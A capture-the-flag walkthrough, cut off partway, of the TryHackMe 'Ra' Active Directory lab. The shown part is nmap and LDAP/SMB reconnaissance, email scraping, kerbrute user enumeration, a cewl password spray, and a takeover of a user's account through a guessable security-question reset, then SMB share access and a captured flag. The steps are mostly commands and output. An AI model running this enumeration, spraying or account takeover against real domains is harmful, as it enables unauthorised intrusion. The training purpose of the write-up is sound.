Overview

Ra is a Hard machine on TryHackme it started with exploiting a weak password reset mechanism on a web application. After finding employee names and guessing a security question based on a pet’s name found in an image file, we get our initial credentials. This leads us to an SMB share with an installer for a vulnerable Spark XMPP client.

The real challenge begins here: we have to set up a sandboxed environment to run the client, debug Java and audio errors within Docker, and finally exploit a Cross-Site Scripting (XSS) vulnerability (CVE-2020-12772) to capture another user’s NTLM hash.

After cracking the hash, we get a shell as a user who is part of the Account Operators group. This group permission allows us to reset another user’s password, modify a script they own, and leverage a scheduled task that executes the script to gain command execution and ultimately a system shell.

Target IP 10.10.22.233

Story:

“You have gained access to the internal network of WindCorp, the multibillion dollar company, running an extensive social media campaign claiming to be unhackable (ha! so much for that claim!). Next step would be to take their crown jewels and get full access to their internal network. You have spotted a new windows machine that may lead you to your end goal. Can you conquer this end boss and own their internal network?.”


1. Reconnaissance (TA0043)

As always, we kick things off with an nmap scan to see what we’re up against

0xblivion@:ra ~

root@localhost:~# sudo nmap -sVC -oA nmap/ra 10.10.22.233 -vv
# Nmap 7.95 scan initiated Mon Jul  7 10:18:12 2025 as: /usr/lib/nmap/nmap -sVC -oA nmap/ra -vv 10.10.22.233
Nmap scan report for 10.10.22.233
Host is up, received echo-reply ttl 125 (0.13s latency).
Scanned at 2025-07-07 10:18:12 EDT for 102s
Not shown: 979 filtered tcp ports (no-response)
PORT     STATE SERVICE             REASON          VERSION
53/tcp   open  domain              syn-ack ttl 125 Simple DNS Plus
80/tcp   open  http                syn-ack ttl 125 Microsoft IIS httpd 10.0
|_http-title: Windcorp.
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
88/tcp   open  kerberos-sec        syn-ack ttl 125 Microsoft Windows Kerberos (server time: 2025-07-07 14:18:25Z)
135/tcp  open  msrpc               syn-ack ttl 125 Microsoft Windows RPC
139/tcp  open  netbios-ssn         syn-ack ttl 125 Microsoft Windows netbios-ssn
389/tcp  open  ldap                syn-ack ttl 125 Microsoft Windows Active Directory LDAP (Domain: windcorp.thm0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?       syn-ack ttl 125
464/tcp  open  kpasswd5?           syn-ack ttl 125
593/tcp  open  ncacn_http          syn-ack ttl 125 Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped          syn-ack ttl 125
2179/tcp open  vmrdp?              syn-ack ttl 125
3268/tcp open  ldap                syn-ack ttl 125 Microsoft Windows Active Directory LDAP (Domain: windcorp.thm0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped          syn-ack ttl 125
3389/tcp open  ms-wbt-server       syn-ack ttl 125 Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: WINDCORP
|   NetBIOS_Domain_Name: WINDCORP
|   NetBIOS_Computer_Name: FIRE
|   DNS_Domain_Name: windcorp.thm
|   DNS_Computer_Name: Fire.windcorp.thm
|   DNS_Tree_Name: windcorp.thm
|   Product_Version: 10.0.17763
|_  System_Time: 2025-07-07T14:18:54+00:00
|_ssl-date: 2025-07-07T14:19:33+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=Fire.windcorp.thm
| Issuer: commonName=Fire.windcorp.thm
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-07-06T14:17:39
| Not valid after:  2026-01-05T14:17:39
| MD5:   6e17:c117:2e4b:a1ad:0b3a:1b48:b82e:a760
| SHA-1: 9281:bfd7:f2ad:5373:8204:8124:d95a:2a4a:9282:70f7
| -----BEGIN CERTIFICATE-----
| MIIC5jCCAc6gAwIBAgIQFqZeNiOsS7xONsYOVUv+oTANBgkqhkiG9w0BAQsFADAc
| MRowGAYDVQQDExFGaXJlLndpbmRjb3JwLnRobTAeFw0yNTA3MDYxNDE3MzlaFw0y
| NjAxMDUxNDE3MzlaMBwxGjAYBgNVBAMTEUZpcmUud2luZGNvcnAudGhtMIIBIjAN
| BgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAw/mMB77zSh9MEBmBU9lZFArRskth
| xAg2mN/g2siWl4asufhCxMK+0rfsxuPd4PsrdA72ONoR2DPyoWesIJvZxMlOizCJ
| Z6jiUjeNIXwEoWOaML+FWYOgtsz4XgyS0oazidKXAAU7+aODndqIniX8BVFBJ3zL
| LUFZ+TcpzFWeb+Ndacc87Dj6tsMPH2SY6ns2w4YGTLk/x2CEBeZqbQNAehF+ktlv
| J0EhLkT8EFSUtdRx449hLoLM52W7ablEk5PGvotmzjr5ZTgeyPR1u62y5BMzW1Ml
| e3Wd2JezqWwJD4F8lIrUOffXOtijd6qqclqBX90q4vw9UgcbKqOkCCiIyQIDAQAB
| oyQwIjATBgNVHSUEDDAKBggrBgEFBQcDATALBgNVHQ8EBAMCBDAwDQYJKoZIhvcN
| AQELBQADggEBAFZhYT1jQyIWH5c6baktb7Y3eL61YgBc7A4yN4MLbRX5K4oIAhQC
| A/aYTwySTWpSTUHShuaqlaSiDQhMzc5ytWmv0pg5DHqXbbESgX7MwI1q8HMCOOyf
| /Ir1F1zSiNcN94tUxRbjMHTdy21E8ainEXohDd7gCmIFNVJH2LrE4oMAA5RpfTdC
| Rhj+B016uUJLg3cShSitcG5W32dcV1uYFj3T/P9UeFDib6FzeX7GvBPT7RkXWPVR
| fEzVHC/GEKUw0mggm0EidkNH7xP1U94afc641lvHtbPtiOgU1DCOGniL0QpyUcqW
| 5pyXi3PC+70iRWK8KVXTSrCU7xdY1EwFJSQ=
|_-----END CERTIFICATE-----
5222/tcp open  jabber              syn-ack ttl 125
|_ssl-date: 2025-07-07T14:19:34+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=fire.windcorp.thm
| Subject Alternative Name: DNS:fire.windcorp.thm, DNS:*.fire.windcorp.thm
| Issuer: commonName=fire.windcorp.thm
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-05-01T08:39:00
| Not valid after:  2025-04-30T08:39:00
| MD5:   b715:5425:83f3:a20f:75c8:ca2d:3353:cbb7
| SHA-1: 97f7:0772:a26b:e324:7ed5:bbcb:5f35:7d74:7982:66ae
| -----BEGIN CERTIFICATE-----
| MIIDLzCCAhegAwIBAgIIXUFELG7QgAIwDQYJKoZIhvcNAQELBQAwHDEaMBgGA1UE
| AwwRZmlyZS53aW5kY29ycC50aG0wHhcNMjAwNTAxMDgzOTAwWhcNMjUwNDMwMDgz
| OTAwWjAcMRowGAYDVQQDDBFmaXJlLndpbmRjb3JwLnRobTCCASIwDQYJKoZIhvcN
| AQEBBQADggEPADCCAQoCggEBAKLH0/j17RVdD8eXC+0IFovAoql2REjOSf2NpJLK
| /6fgtx3CA4ftLsj7yOpmj8Oe1gqfWd2EM/zKk+ZmZwQFxLQL93t1OD/za1gyclxr
| IVbPVWqFoM2BUU9O3yU0VVRGP7xKDHm4bcoNmq9UNurEtFlCNeCC1fcwzfYvKD89
| X04Rv/6kn1GlQq/iM8PGCLDUf1p1WJcwGT5FUiBa9boTU9llBcGqbodZaBKzPPP8
| DmvSYF71IKBT8NsVzqiAiO3t/oHgApvUd9BqdbZeN46XORrOhBQV0xUpNVy9L5OE
| UAD1so3ePTNjpPE5SfTKymT1a8Fiw5kroKODN0nzy50yP3UCAwEAAaN1MHMwMQYD
| VR0RBCowKIIRZmlyZS53aW5kY29ycC50aG2CEyouZmlyZS53aW5kY29ycC50aG0w
| HQYDVR0OBBYEFOtMzqgfsY11qewZNfPjiLxnGykGMB8GA1UdIwQYMBaAFOtMzqgf
| sY11qewZNfPjiLxnGykGMA0GCSqGSIb3DQEBCwUAA4IBAQAHofv0VP+hE+5sg0KR
| 2x0Xeg4cIXEia0c5cIJ7K7bhfoLOcT7WcMKCLIN3A416PREdkB6Q610uDs8RpezJ
| II/wBoIp2G0Y87X3Xo5FmNJjl9lGX5fvayen98khPXvZkurHdWdtA4m8pHOdYOrk
| n8Jth6L/y4L5WlgEGL0x0HK4yvd3iz0VNrc810HugpyfVWeasChhZjgAYXUVlA8k
| +QxLxyNr/PBfRumQGzw2n3msXxwfHVzaHphy56ph85PcRS35iNqgrtK0fe3Qhpq7
| v5vQYKlOGq5FI6Mf9ni7S1pXSqF4U9wuqZy4q4tXWAVootmJv1DIgfSMLvXplN9T
| LucP
|_-----END CERTIFICATE-----
| fingerprint-strings: 
|   RPCCheck: 
|_    
| xmpp-info: 
|   STARTTLS Failed
|   info: 
|     stream_id: 41t586ui0i
|     errors: 
|       invalid-namespace
|       (timeout)
|     unknown: 
|     auth_mechanisms: 
|     capabilities: 
|     xmpp: 
|       version: 1.0
|     compression_methods: 
|_    features: 
5269/tcp open  xmpp                syn-ack ttl 125 Wildfire XMPP Client
| xmpp-info: 
|   STARTTLS Failed
|   info: 
|     features: 
|     errors: 
|       (timeout)
|     unknown: 
|     capabilities: 
|     xmpp: 
|     auth_mechanisms: 
|_    compression_methods: 
7070/tcp open  http                syn-ack ttl 125 Jetty 9.4.18.v20190429
|_http-server-header: Jetty(9.4.18.v20190429)
|_http-title: Openfire HTTP Binding Service
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
7443/tcp open  ssl/http            syn-ack ttl 125 Jetty 9.4.18.v20190429
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| ssl-cert: Subject: commonName=fire.windcorp.thm
| Subject Alternative Name: DNS:fire.windcorp.thm, DNS:*.fire.windcorp.thm
| Issuer: commonName=fire.windcorp.thm
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-05-01T08:39:00
| Not valid after:  2025-04-30T08:39:00
| MD5:   b715:5425:83f3:a20f:75c8:ca2d:3353:cbb7
| SHA-1: 97f7:0772:a26b:e324:7ed5:bbcb:5f35:7d74:7982:66ae
| -----BEGIN CERTIFICATE-----
| MIIDLzCCAhegAwIBAgIIXUFELG7QgAIwDQYJKoZIhvcNAQELBQAwHDEaMBgGA1UE
| AwwRZmlyZS53aW5kY29ycC50aG0wHhcNMjAwNTAxMDgzOTAwWhcNMjUwNDMwMDgz
| OTAwWjAcMRowGAYDVQQDDBFmaXJlLndpbmRjb3JwLnRobTCCASIwDQYJKoZIhvcN
| AQEBBQADggEPADCCAQoCggEBAKLH0/j17RVdD8eXC+0IFovAoql2REjOSf2NpJLK
| /6fgtx3CA4ftLsj7yOpmj8Oe1gqfWd2EM/zKk+ZmZwQFxLQL93t1OD/za1gyclxr
| IVbPVWqFoM2BUU9O3yU0VVRGP7xKDHm4bcoNmq9UNurEtFlCNeCC1fcwzfYvKD89
| X04Rv/6kn1GlQq/iM8PGCLDUf1p1WJcwGT5FUiBa9boTU9llBcGqbodZaBKzPPP8
| DmvSYF71IKBT8NsVzqiAiO3t/oHgApvUd9BqdbZeN46XORrOhBQV0xUpNVy9L5OE
| UAD1so3ePTNjpPE5SfTKymT1a8Fiw5kroKODN0nzy50yP3UCAwEAAaN1MHMwMQYD
| VR0RBCowKIIRZmlyZS53aW5kY29ycC50aG2CEyouZmlyZS53aW5kY29ycC50aG0w
| HQYDVR0OBBYEFOtMzqgfsY11qewZNfPjiLxnGykGMB8GA1UdIwQYMBaAFOtMzqgf
| sY11qewZNfPjiLxnGykGMA0GCSqGSIb3DQEBCwUAA4IBAQAHofv0VP+hE+5sg0KR
| 2x0Xeg4cIXEia0c5cIJ7K7bhfoLOcT7WcMKCLIN3A416PREdkB6Q610uDs8RpezJ
| II/wBoIp2G0Y87X3Xo5FmNJjl9lGX5fvayen98khPXvZkurHdWdtA4m8pHOdYOrk
| n8Jth6L/y4L5WlgEGL0x0HK4yvd3iz0VNrc810HugpyfVWeasChhZjgAYXUVlA8k
| +QxLxyNr/PBfRumQGzw2n3msXxwfHVzaHphy56ph85PcRS35iNqgrtK0fe3Qhpq7
| v5vQYKlOGq5FI6Mf9ni7S1pXSqF4U9wuqZy4q4tXWAVootmJv1DIgfSMLvXplN9T
| LucP
|_-----END CERTIFICATE-----
|_http-server-header: Jetty(9.4.18.v20190429)
|_http-title: Openfire HTTP Binding Service
7777/tcp open  socks5              syn-ack ttl 125 (No authentication; connection failed)
| socks-auth-info: 
|_  No authentication
9090/tcp open  hadoop-datanode     syn-ack ttl 125 Apache Hadoop
| hadoop-datanode-info: 
|_  Logs: jive-ibtn jive-btn-gradient
| hadoop-tasktracker-info: 
|_  Logs: jive-ibtn jive-btn-gradient
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html).
|_http-favicon: Unknown favicon MD5: E4888EE8491B4EB75501996E41AF6460
9091/tcp open  ssl/hadoop-datanode syn-ack ttl 125 Apache Hadoop
| hadoop-datanode-info: 
|_  Logs: jive-ibtn jive-btn-gradient
|_http-title: Site doesn't have a title (text/html).
|_http-favicon: Unknown favicon MD5: E4888EE8491B4EB75501996E41AF6460
| hadoop-tasktracker-info: 
|_  Logs: jive-ibtn jive-btn-gradient
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| ssl-cert: Subject: commonName=fire.windcorp.thm
| Subject Alternative Name: DNS:fire.windcorp.thm, DNS:*.fire.windcorp.thm
| Issuer: commonName=fire.windcorp.thm
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-05-01T08:39:00
| Not valid after:  2025-04-30T08:39:00
| MD5:   b715:5425:83f3:a20f:75c8:ca2d:3353:cbb7
| SHA-1: 97f7:0772:a26b:e324:7ed5:bbcb:5f35:7d74:7982:66ae
| -----BEGIN CERTIFICATE-----
| MIIDLzCCAhegAwIBAgIIXUFELG7QgAIwDQYJKoZIhvcNAQELBQAwHDEaMBgGA1UE
| AwwRZmlyZS53aW5kY29ycC50aG0wHhcNMjAwNTAxMDgzOTAwWhcNMjUwNDMwMDgz
| OTAwWjAcMRowGAYDVQQDDBFmaXJlLndpbmRjb3JwLnRobTCCASIwDQYJKoZIhvcN
| AQEBBQADggEPADCCAQoCggEBAKLH0/j17RVdD8eXC+0IFovAoql2REjOSf2NpJLK
| /6fgtx3CA4ftLsj7yOpmj8Oe1gqfWd2EM/zKk+ZmZwQFxLQL93t1OD/za1gyclxr
| IVbPVWqFoM2BUU9O3yU0VVRGP7xKDHm4bcoNmq9UNurEtFlCNeCC1fcwzfYvKD89
| X04Rv/6kn1GlQq/iM8PGCLDUf1p1WJcwGT5FUiBa9boTU9llBcGqbodZaBKzPPP8
| DmvSYF71IKBT8NsVzqiAiO3t/oHgApvUd9BqdbZeN46XORrOhBQV0xUpNVy9L5OE
| UAD1so3ePTNjpPE5SfTKymT1a8Fiw5kroKODN0nzy50yP3UCAwEAAaN1MHMwMQYD
| VR0RBCowKIIRZmlyZS53aW5kY29ycC50aG2CEyouZmlyZS53aW5kY29ycC50aG0w
| HQYDVR0OBBYEFOtMzqgfsY11qewZNfPjiLxnGykGMB8GA1UdIwQYMBaAFOtMzqgf
| sY11qewZNfPjiLxnGykGMA0GCSqGSIb3DQEBCwUAA4IBAQAHofv0VP+hE+5sg0KR
| 2x0Xeg4cIXEia0c5cIJ7K7bhfoLOcT7WcMKCLIN3A416PREdkB6Q610uDs8RpezJ
| II/wBoIp2G0Y87X3Xo5FmNJjl9lGX5fvayen98khPXvZkurHdWdtA4m8pHOdYOrk
| n8Jth6L/y4L5WlgEGL0x0HK4yvd3iz0VNrc810HugpyfVWeasChhZjgAYXUVlA8k
| +QxLxyNr/PBfRumQGzw2n3msXxwfHVzaHphy56ph85PcRS35iNqgrtK0fe3Qhpq7
| v5vQYKlOGq5FI6Mf9ni7S1pXSqF4U9wuqZy4q4tXWAVootmJv1DIgfSMLvXplN9T
| LucP
|_-----END CERTIFICATE-----
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5222-TCP:V=7.95%I=7%D=7/7%Time=686BD745%P=x86_64-pc-linux-gnu%r(RPC
SF:Check,9B,"");
Service Info: Host: FIRE; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 0s, deviation: 0s, median: 0s
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 31072/tcp): CLEAN (Timeout)
|   Check 2 (port 10283/tcp): CLEAN (Timeout)
|   Check 3 (port 26048/udp): CLEAN (Timeout)
|   Check 4 (port 18607/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-07-07T14:18:54
|_  start_date: N/A

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jul  7 10:19:54 2025 -- 1 IP address (1 host up) scanned in 102.69 seconds

The scan shows multiple open ports, many of which are typical of an Active Directory Domain Controller.

Key findings:

  • Port 80: Microsoft IIS 10.0, hosting a site titled Windcorp.
  • Ports 88, 389, 445, 3268: Commonly used by Active Directory services (Kerberos, LDAP, SMB).
  • Port 3389: Remote Desktop Protocol (RDP) is enabled.
  • Ports 7070 and 7443: Jetty HTTP services, with 7443 over HTTPS.
  • Ports 5222 and 5269: Openfire XMPP (chat service).
  • Ports 9090 and 9091: Apache Hadoop service. From the rdp-ntlm-info script, we also discover crucial details:
  • Hostname: FIRE
  • Domain: windcorp.thm
  • Full FQDN: fire.windcorp.thm
  • Domain NetBIOS: WINDCORP

This confirms the target is likely an Active Directory Domain Controller with various exposed services. We update our /etc/hosts file to resolve the domain and hostname

0xblivion@:ra ~

root@localhost:~# echo "10.10.22.233 fire fire.windcorp.thm windcorp.thm" | tee -a /etc/hosts

SMB Null Authentication (T1203)

Before diving into the web server, I tried some basic unauthenticated checks against SMB and LDAP to see if I could get any quick wins

First, an SMB null session check to see if any shares are anonymously accessible

0xblivion@:ra ~

root@localhost:~# nxc smb $target  -u '' -p '' --shares
SMB         10.10.22.233    445    FIRE             [*] Windows 10 / Server 2019 Build 17763 x64 (name:FIRE) (domain:windcorp.thm) (signing:True) (SMBv1:False) 
SMB         10.10.22.233    445    FIRE             [+] windcorp.thm\: 
SMB         10.10.22.233    445    FIRE             [-] Error enumerating shares: STATUS_ACCESS_DENIED

Access denied. No luck there. Next, I’ll try an anonymous bind against LDAP to see if I can dump any information about the domain structure

0xblivion@:ra ~

root@localhost:~# ldapsearch -x -H ldap://$target -s base namingcontexts
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts 
#

#
dn:
namingcontexts: DC=windcorp,DC=thm
namingcontexts: CN=Configuration,DC=windcorp,DC=thm
namingcontexts: CN=Schema,CN=Configuration,DC=windcorp,DC=thm
namingcontexts: DC=ForestDnsZones,DC=windcorp,DC=thm
namingcontexts: DC=DomainDnsZones,DC=windcorp,DC=thm

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

root@localhost:~# ldapsearch -x -H ldap://$target -b 'DC=windcorp,DC=thm'
# extended LDIF
#
# LDAPv3
# base  with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A57, comment: In order to perform this opera
 tion a successful bind must be completed on the connection., data 0, v4563

# numResponses: 1

LDAP reveals naming contexts but deeper access requires valid credentials.

Web and User Enumeration (T1592)

The website on port 80 is for a company called Windcorp. It has a password reset page that asks for a username and a security question. This looks like a potential entry point

I ran gobuster to look for hidden directories, which confirmed the reset.asp page and a few other standard directories

0xblivion@:ra ~

root@localhost:~# gobuster dir -u http://10.10.22.233/ -w /opt/SecLists/Discovery/Web-Content/raft-medium-words-lowercase.txt -x asp
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.22.233/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/SecLists/Discovery/Web-Content/raft-medium-words-lowercase.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              asp
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/css                  (Status: 301) [Size: 147] [--> http://10.10.22.233/css/]
/img                  (Status: 301) [Size: 147] [--> http://10.10.22.233/img/]
/.                    (Status: 200) [Size: 11334]
/check.asp            (Status: 200) [Size: 971]
/reset.asp            (Status: 200) [Size: 1598]
...SNIP...

I don’t have any usernames yet, so I check the home page and find a list of employee emails

These names are useful for building usernames. We scrape emails from the source code

0xblivion@:ra ~

root@localhost:~# curl -s http://10.10.22.233/ | grep -oP '[\w.]+@fire\.windcorp\.thm' | sort -u | tee users.txt
angrybird253@fire.windcorp.thm
brownostrich284@fire.windcorp.thm
buse@fire.windcorp.thm
Edeltraut@fire.windcorp.thm
Edward@fire.windcorp.thm
Emile@fire.windcorp.thm
goldencat416@fire.windcorp.thm
happymeercat399@fire.windcorp.thm
orangegorilla428@fire.windcorp.thm
organicfish718@fire.windcorp.thm
organicwolf509@fire.windcorp.thm
sadswan869@fire.windcorp.thm
tinygoose102@fire.windcorp.thm
tinywolf424@fire.windcorp.thm
whiteleopard529@fire.windcorp.thm

Validating Domain Users with Kerberos (T1201)

I use kerbrute to validate which of these are actual domain users

0xblivion@:ra ~

root@localhost:~# kerbrute userenum -d windcorp.thm --dc fire.windcorp.thm users.txt 

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: dev (n/a) - 07/07/25 - Ronnie Flathers @ropnop

2025/07/07 13:53:33 >  Using KDC(s):
2025/07/07 13:53:33 >   fire.windcorp.thm:88

2025/07/07 13:53:33 >  [+] VALID USERNAME:       Edeltraut@windcorp.thm
2025/07/07 13:53:33 >  [+] VALID USERNAME:       Emile@windcorp.thm
2025/07/07 13:53:33 >  [+] VALID USERNAME:       organicfish718@windcorp.thm
2025/07/07 13:53:33 >  [+] VALID USERNAME:       angrybird253@windcorp.thm
2025/07/07 13:53:33 >  [+] VALID USERNAME:       happymeercat399@windcorp.thm
2025/07/07 13:53:33 >  [+] VALID USERNAME:       goldencat416@windcorp.thm
2025/07/07 13:53:33 >  [+] VALID USERNAME:       orangegorilla428@windcorp.thm
2025/07/07 13:53:33 >  [+] VALID USERNAME:       buse@windcorp.thm
2025/07/07 13:53:33 >  [+] VALID USERNAME:       brownostrich284@windcorp.thm
2025/07/07 13:53:33 >  [+] VALID USERNAME:       Edward@windcorp.thm
2025/07/07 13:53:34 >  [+] VALID USERNAME:       tinygoose102@windcorp.thm
2025/07/07 13:53:34 >  [+] VALID USERNAME:       whiteleopard529@windcorp.thm
2025/07/07 13:53:34 >  [+] VALID USERNAME:       sadswan869@windcorp.thm

With a list of valid users, my first thought is to try a password spray. I’ll generate a custom wordlist from the website content using cewl and try those words as passwords

0xblivion@:ra ~

root@localhost:~# cewl -m 6 http://10.10.22.233/ -w cewl-windcorp.txt
CeWL 6.2.1 (More Fixes) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
0xblivion@:ra ~

root@localhost:~# nxc smb fire.windcorp.thm -u users.txt -p cewl-windcorp.txt                      
SMB         10.10.22.233    445    FIRE             [*] Windows 10 / Server 2019 Build 17763 x64 (name:FIRE) (domain:windcorp.thm) (signing:True) (SMBv1:False) 
SMB         10.10.22.233    445    FIRE             [-] windcorp.thm\angrybird253@fire.windcorp.thm:Windcorp STATUS_LOGON_FAILURE 
SMB         10.10.22.233    445    FIRE             [-] windcorp.thm\brownostrich284@fire.windcorp.thm:Windcorp STATUS_LOGON_FAILURE 
SMB         10.10.22.233    445    FIRE             [-] windcorp.thm\buse@fire.windcorp.thm:Windcorp STATUS_LOGON_FAILURE
...SNIP...

This came up empty. Time to look for other clues.

Resetting Lily’s Password (T1098)

The homepage has a section for employee profiles. One user, Lily Levesque, has a picture with her dog. The image filename is lilyleAndSparky.jpg

  • sparky
  • sparky_filename
  • This is a huge hint. I go back to the password reset page, enter lilyle as the username, and try “Sparky” for the security question “What is/was your favorite pets name?”

passwordreset

It works! I’m able to reset her password to ChangeMe#1234. I now have my initial foothold.


2. Initial Access & The Spark Client Rabbit Hole (T1078)

I re-run Kerbrute first to confirm these new users are valid domain users

0xblivion@:ra ~

root@localhost:~# kerbrute userenum -d windcorp.thm --dc fire.windcorp.thm users.txt     

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: dev (n/a) - 07/07/25 - Ronnie Flathers @ropnop

2025/07/07 14:14:13 >  Using KDC(s):
2025/07/07 14:14:13 >   fire.windcorp.thm:88

2025/07/07 14:14:13 >  [+] VALID USERNAME:       angrybird253@windcorp.thm
2025/07/07 14:14:13 >  [+] VALID USERNAME:       orangegorilla428@windcorp.thm
2025/07/07 14:14:13 >  [+] VALID USERNAME:       Emile@windcorp.thm
2025/07/07 14:14:13 >  [+] VALID USERNAME:       buse@windcorp.thm
2025/07/07 14:14:13 >  [+] VALID USERNAME:       Edward@windcorp.thm
2025/07/07 14:14:13 >  [+] VALID USERNAME:       brownostrich284@windcorp.thm
2025/07/07 14:14:13 >  [+] VALID USERNAME:       Edeltraut@windcorp.thm
2025/07/07 14:14:13 >  [+] VALID USERNAME:       organicfish718@windcorp.thm
2025/07/07 14:14:13 >  [+] VALID USERNAME:       happymeercat399@windcorp.thm
2025/07/07 14:14:13 >  [+] VALID USERNAME:       goldencat416@windcorp.thm
2025/07/07 14:14:13 >  [+] VALID USERNAME:       tinygoose102@windcorp.thm
2025/07/07 14:14:13 >  [+] VALID USERNAME:       sadswan869@windcorp.thm
2025/07/07 14:14:13 >  [+] VALID USERNAME:       lilyle@windcorp.thm
2025/07/07 14:14:13 >  [+] VALID USERNAME:       whiteleopard529@windcorp.thm
2025/07/07 14:14:13 >  [+] VALID USERNAME:       Emilieje@windcorp.thm
2025/07/07 14:14:13 >  [+] VALID USERNAME:       kirkug@windcorp.thm

With credentials for lilyle, I can now properly enumerate the SMB shares

0xblivion@:ra ~

root@localhost:~# nxc smb $target -u lilyle -p 'ChangeMe#1234' --shares 
SMB         10.10.22.233    445    FIRE             [*] Windows 10 / Server 2019 Build 17763 x64 (name:FIRE) (domain:windcorp.thm) (signing:True) (SMBv1:False) 
SMB         10.10.22.233    445    FIRE             [+] windcorp.thm\lilyle:ChangeMe#1234 
SMB         10.10.22.233    445    FIRE             [*] Enumerated shares
SMB         10.10.22.233    445    FIRE             Share           Permissions     Remark
SMB         10.10.22.233    445    FIRE             -----           -----------     ------
SMB         10.10.22.233    445    FIRE             ADMIN$                          Remote Admin
SMB         10.10.22.233    445    FIRE             C$                              Default share
SMB         10.10.22.233    445    FIRE             IPC$            READ            Remote IPC
SMB         10.10.22.233    445    FIRE             NETLOGON        READ            Logon server share
SMB         10.10.22.233    445    FIRE             Shared          READ            
SMB         10.10.22.233    445    FIRE             SYSVOL          READ            Logon server share 
SMB         10.10.22.233    445    FIRE             Users           READ       

The Shared drive is accessible. Inside, I find the first flag and, more importantly, installers for the Spark XMPP client, version 2.8.3

0xblivion@:ra ~

root@localhost:~# smbclient.py 'windcorp.thm/lilyle:ChangeMe#1234@10.10.22.233'
Impacket v0.13.0.dev0+20250327.181549.7078e935 - Copyright Fortra, LLC and its affiliated companies 

Type help for list of commands
# use Shared
# ls
drw-rw-rw-          0  Fri May 29 20:45:42 2020 .
drw-rw-rw-          0  Fri May 29 20:45:42 2020 ..
-rw-rw-rw-         45  Fri May  1 11:32:36 2020 Flag 1.txt
-rw-rw-rw-   29526628  Fri May 29 20:45:01 2020 spark_2_8_3.deb
-rw-rw-rw-   99555201  Sun May  3 07:08:39 2020 spark_2_8_3.dmg
-rw-rw-rw-   78765568  Sun May  3 07:08:39 2020 spark_2_8_3.exe
-rw-rw-rw-  123216290  Sun May  3 07:08:39 2020 spark_2_8_3.tar.gz
# get Flag 1.txt
Flag 1: THM{466d52dc75a277d6c3f6c6fcbc716d6b62420f48}

This is where things get tricky. I download the .deb file, but trying to install it directly on my machine fails due to a Java dependency issue. A cleaner approach is to use a Docker container to create a sandboxed environment. I spin up an Ubuntu container, install openjdk-8-jre, and copy the Spark installer into it

0xblivion@:ra ~

root@localhost:~# docker run -it -e DISPLAY=$DISPLAY -v /tmp/.X11-unix:/tmp/.X11-unix --name spark-gui ubuntu:20.04
root@localhost:~# docker cp spark_2_8_3.deb spark-gui:/root/
root@localhost:~# docker exec -it spark-gui bash
root@9c4894cbd09a:~# apt update && apt install -y openjdk-8-jre
root@9c4894cbd09a:~# dpkg -i spark_2_8_3.deb
  • After installing Spark inside Docker, I launch the application

  • Attempting to log in fails due to domain resolution, since the container doesn’t know about fire.windcorp.thm

    dns
  • I add the domain to the container’s /etc/hosts file and enable the two options under Advanced settings in Spark to ensure it connects correctly

    cert
  • Upon logging in, a Java Runtime Environment error occurs:

0xblivion@:ra ~

# A fatal error has been detected by the Java Runtime Environment:
#
#  SIGSEGV (0xb) at pc=0x00007f5ff70a50f8, pid=173, tid=0x00007f60576fe700
#
# JRE version: OpenJDK Runtime Environment (8.0_452-b09) (build 1.8.0_452-8u452-ga~us1-0ubuntu1~20.04-b09)
# Java VM: OpenJDK 64-Bit Server VM (25.452-b09 mixed mode linux-amd64 compressed oops)
# Problematic frame:
